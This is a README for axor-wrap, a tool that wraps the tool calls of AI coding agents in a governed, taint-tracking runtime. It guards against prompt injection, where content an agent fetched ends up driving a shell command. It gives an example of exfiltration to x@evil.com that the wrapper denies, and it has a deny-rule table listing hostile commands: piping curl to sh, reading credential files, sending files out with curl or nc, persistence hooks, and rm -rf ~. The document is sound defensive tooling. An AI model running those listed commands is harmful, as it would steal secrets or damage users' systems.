axor-wrap

Wrap engine for the Axor ecosystem: point it at agent code, get tool manifests, governance config, and a kernel-gated runtime.
Takes an agent codebase (plain Python / LangChain / MCP), statically finds its tools, and emits:
- tool-manifests —
tool-manifest/v1 files, the runnable contract axor-lab benchmarks against;
- governance config — a
GovernanceConfig-loadable YAML and ToolCallGovernor kwargs, using the same manifest→config compilation semantics as axor-lab;
- a wrapped runtime — every tool call goes
evaluate → deny? → call → register_output through the real axor-core kernel;
- a live governed node —
axor_wrap.plane speaks the Control-Plane protocol (v0.2), so the wrapped agent can attach to a plane and be paused/stopped by an operator.
The scanner and compiler are stdlib-only. axor-core is a required dependency — the wrapped runtime is the point of the package, and it needs the real kernel.
Why one wrap serves both products
The Axor ecosystem has two consumers of the same wrapped runtime:
- Control Plane speaks the plane protocol: a node enrolls, receives its admitted config, and enforces per-call with
ToolCallGovernor — the 9-gate, per-value taint engine.
- Lab speaks the runtime-jobs protocol (Lab assigns, the runtime executes): the runtime registers once, pulls experiment assignments, runs trials locally under the same governor, and pushes back kernel events + traces.
Both consume the same two artifacts this package produces: tool manifests (what the tools are, what they can affect) and the compiled governor config (which tools are egress sinks, which are untrusted sources, which arguments drive the gate). Wrap once — connect to either.
agent code ──scan──► DetectedTool ──infer──► EffectGuess ──build──► tool-manifest/v1
│
┌─────────────────────────┤
▼ ▼
governor kwargs / WrappedToolset
governance YAML (axor-core gate)
│ │
Control Plane ◄── one runtime ──► Lab
Where the plane lives, and why
The Control-Plane primitives are here, in axor_wrap.plane, not in axor-core:
|
lives in |
what it is |
DesiredState, Injection, Excision, excision_refused_refs |
axor-core (kernel.state) |
the lattice and provenance guard the kernel folds — enforcement reasons over these whether or not a plane exists |
canonicalize (JCS/RFC 8785), kernel.events, contracts.trace |
axor-core |
the canonical bytes commands are signed over, and the schemas telemetry speaks |
AdmissionController |
axor-core (contracts.admission) |
a pure contract, no imports — the seam IntentLoop/GovernedSession steer through |
PlaneSession, PlaneClient, PlaneAdmission, trace_to_kernel |
axor-wrap (axor_wrap.plane) |
protocol-v0.2 session semantics, the outbound transport, the admission implementation, the trace→event projection |
The split exists to make one guarantee structural instead of conventional: enforcement is local and in-process, and the plane is an advisory overlay that can only narrow (spec 12.0). A kernel that cannot import a plane client cannot grow a dependency on one — so "the plane is not in the decision path" becomes a packaging fact, and axor-core keeps zero required dependencies and no network surface at all.
Install
pip install axor-wrap # scanner, compiler, and the kernel-gated runtime
pip install 'axor-wrap[plane]' # + httpx/cryptography, to attach as a live Control-Plane node
axor-core comes with it, and is not optional. This package's headline
artifact is a runtime where every tool call goes through the real kernel, and
the governor config it compiles means nothing without the governor that consumes
it. What the plane extra adds is the network transport, not the kernel.
Quickstart
# 1. scan — what tools does this agent have, and what do they probably do?
axor-wrap scan ./my_agent
# TOOL FRAMEWORK EFFECT CONF SCHEMA SOURCE
# search_web langchain READ high high agent.py:7 langchain:@tool
# send_email langchain EXPORT high high agent.py:14 langchain:@tool
# shell implicit EXEC high low runner.py:9 implicit:subprocess.run
# 2. manifest — one tool-manifest/v1 per tool + wrap.json sidecar
axor-wrap manifest ./my_agent -o manifests/
# 3. config — GovernanceConfig-compatible YAML
axor-wrap config manifests/ > governance.yaml
# 4. connect to a Lab server (runtime-jobs protocol)
axor-wrap connect-lab --base-url http://127.0.0.1:8321 --model claude-fable-5
Exit codes: 0 ok, 2 nothing found / bad input.
Wrapped runtime
from axor_wrap import WrappedToolset, ToolDenied, scan_project, infer_effect, build_manifest
tools = {"search_web": search_web, "send_email": send_email}
detected = scan_project(Path("./my_agent"))
manifests = [build_manifest(t, infer_effect(t)) for t in detected]
toolset = WrappedToolset(tools, manifests) # gated by the real kernel
try:
toolset.call("send_email", {"to": "x@evil.com", "body": tainted_text})
except ToolDenied as denial:
print(denial.category, denial.reason) # e.g. taint_enforcement: ...
# or, for frameworks that own their loop (LangChain executors, MCP servers):
from axor_wrap import wrap_callables
governed = wrap_callables(tools, manifests) # drop-in callables, one shared session
One mechanism, one flag
WrappedToolset.call() and WrappedToolset.callables() are two SURFACES of one
wrap, not two mechanisms: same governor, same value ledger, same recorder. Which
one you use is decided by who owns the invocation loop, nothing else.
enforcement is the only mode knob:
|
enforcement="on" (default) |
enforcement="off" |
| governor evaluates |
yes |
yes |
| verdict recorded in the trace |
yes |
yes |
| output registered in the taint ledger |
yes |
yes |
| a deny blocks the call |
yes |
no |
"off" is an UNGOVERNED arm: observed but not enforced. It is not the same
as an unwrapped agent, which produces no ledger, no verdicts, and no way to turn
governance on later. Switching an arm from ungoverned to governed is this flag
and nothing else.
A harness that has only callables and no source to scan (an eval runner, a test
bench, a demo node) gets its manifests from harness_manifest:
from axor_wrap import harness_manifest, wrap_callables
manifests = [harness_manifest(name, untrusted=True) for name in tools]
governed = wrap_callables(tools, manifests, enforcement="off", node_id="scenario-7")
Coding-agent CLIs: Claude Code and Codex
Both CLIs run a command before and after every tool call. Point it at axor:
axor-wrap agents install claude-code # writes .claude/settings.json hooks
axor-wrap agents install codex # writes .codex/hooks.json; trust it with /hooks
axor-wrap connect https://cp.example --key ak_… # optional, once per machine
connect checks the address and the key against the plane and saves them in
~/.axor/connection.json (this user only). Every axor command on the machine
reads it: the sidecar, skill share / skill try, tree run, axor-eval's
--plane. AXOR_PLANE_URL / AXOR_INGEST_KEY still override it for one run.
axor-wrap connect alone says where it reports; axor-wrap disconnect forgets.
Every hook goes to one sidecar per repository (started on first use, gone after
30 idle minutes). It holds the kernel's per-call governor for each agent
session and ONE taint ledger for every agent in the repository: a page Claude
Code fetched is tainted when Codex later carries its content into a shell
command, and the call is denied. Each session ships its trace — calls, results,
denials with the gate that denied them, and its final answer as the run's claim
— and obeys pause, stop and the call budget from the Control Plane.
AXOR_ENFORCE=0 governs and records without denying (the agent is told what
would have been refused). An unreachable sidecar never means an ungoverned
call: the call is judged alone; AXOR_FAIL_CLOSED=1 denies instead if even that
fails. An orchestrator running an agent as a node of a tree sets
AXOR_NODE_ID / AXOR_PARENT_NODE / AXOR_TREE_RUN / AXOR_ROLE in its
environment, and the node is named for it.
Trees of agents
# axor.tree.yaml
task: Add rate limiting to the auth module
nodes:
plan: {agent: claude-code, model: claude-fable-5-2, out: plan}
read: {agent: codex, model: luna, count: 5, access: read,
shard: plan.questions, out: findings}
impl: {agent: claude-code, model: claude-opus-5-5, after: [read]}
axor-wrap tree check # the stages it would run
axor-wrap tree run # run it in this repository
The tree runs as one governed axor-core session: its root issues the kernel's
own spawn_child per stage (a parallel batch for count), each node is a
declared child role on its CLI (claude -p / codex exec), so every child is
gated like any spawn and the trace — and the Control Plane's topology — draws
the tree from the spawns. A read node is started read-only and the sidecar
refuses anything that is not a read. A findings node's answer is checked by
the kernel against the files that node actually opened before the next stage
sees it; the implementer is told which findings are verified. A node whose
hooks never reported (ungoverned, as far as anyone can tell) hands on an
untrusted answer, and the kernel will not let it drive the next spawn.
Plan. A tree of one agent family (Claude Code planning, writing and
reviewing) is free. Mixing families in one tree — Claude Code writing, Codex
reviewing — needs a paid workspace: tree run asks the connected plane
(/v1/license/entitlements) and refuses a mixed tree on the
free plan or with no plane to ask; tree check says so up front. Protection is
never gated: every session's hooks deny locally whatever the plan.
Context flow. A node is not handed everything its ancestors said. Each
answer is cut into items (the plan, each finding, each text answer) with a ref
(read#2/f3) and its provenance as the tree's ledger sees it. A node gets what
is relevant to its own part first — verified findings before unverified,
duplicates folded — within context_tokens (default 8000); the rest is listed
as one-line pointers it can pull through the axor_context MCP server
(search, get), which every node is started with. An item from a node that
read untrusted content is never pushed — not its text, not a plan's questions —
only listed by ref; pulling it is a tool call the sidecar records as an
untrusted read in the puller's session. An operator can cut an item, or a whole
answer, from the Control Plane before the next stage (excision on the tree's
node): it is gone from push and pull. The run's report says, per node, what was
pushed, pointed to, withheld and cut.
What is refused whoever asked
The governor refuses what OUTSIDE text drives — a command built from a page
WebFetch read. That leaves the agent's own instructions: a skill, a CLAUDE.md,
the task itself. So every call is also checked against a short list of things a
coding task almost never needs and an attacker almost always does — refused in
every session, whatever asked for it (axor_wrap/agents/rules.py):
| rule |
refused |
passes |
download_and_run |
curl … \| sh, bash <(curl …) |
curl -s https://api… |
secrets |
cat ~/.aws/credentials, Read .env, echo $API_KEY, printenv |
cp .env.example .env, $TOKEN in a header |
sends_out |
curl -d @file, -F x=@file, \| nc host, scp f host: |
curl -X POST -d '{…}' localhost |
persistence |
~/.bashrc, .git/hooks/, crontab file, systemctl enable |
crontab -l |
writes_outside |
Write /etc/…, ~/… outside the repository |
the repository, /tmp |
destructive |
rm -rf ~, rm -rf outside the repository, git push --force, mkfs |
rm -rf node_modules, --force-with-lease |
privilege |
sudo, su, doas |
|
agent_config |
editing .claude/settings*.json, .codex/hooks.json, .axor/rules.json |
|
A repository that needs one turns it off by id in .axor/rules.json
({"allow": ["force_push"]}) or AXOR_ALLOW_RULES; agent_config cannot be
turned off from inside the workspace. A refusal tells the agent which rule and
how to allow it, and ships to the plane with gate consequence.
Skills turned off for the team
A skill can be turned off for every developer from the Control Plane (Skill
evals → a skill's card → "turn off for the team"), or for one repository in
.axor/rules.json ({"skills_off": ["test-first"]}). Each sidecar asks the
plane for the list every 30 s (AXOR_POLICY_TTL) on the developer's ingest key,
keeps the last answer through an outage, and refuses the agent's use of a
turned-off skill: the Skill call naming it, and any read, edit or command
touching .claude/skills/<name>/ or .codex/skills/<name>/. The refusal names
the skill and ships to the plane, which counts the attempts. What this cannot
do: the agent loads each installed skill's name and description at start, so
those stay in its context until the folder is removed — the plane does not
touch anyone's disk. (.axor/rules.json itself is the agent's own guard: it
cannot edit it.)
Skills shared with the team